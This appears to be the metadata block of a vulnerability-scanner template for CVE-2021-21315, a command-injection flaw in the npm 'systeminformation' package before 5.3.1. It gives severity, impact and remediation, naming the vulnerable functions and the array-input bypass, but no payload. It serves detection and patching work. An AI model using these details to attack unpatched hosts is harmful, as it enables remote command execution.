id: CVE-2021-21315
info:
name: Node.JS System Information Library <5.3.1 - Remote Command Injection
author: pikpikcu
severity: high
description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
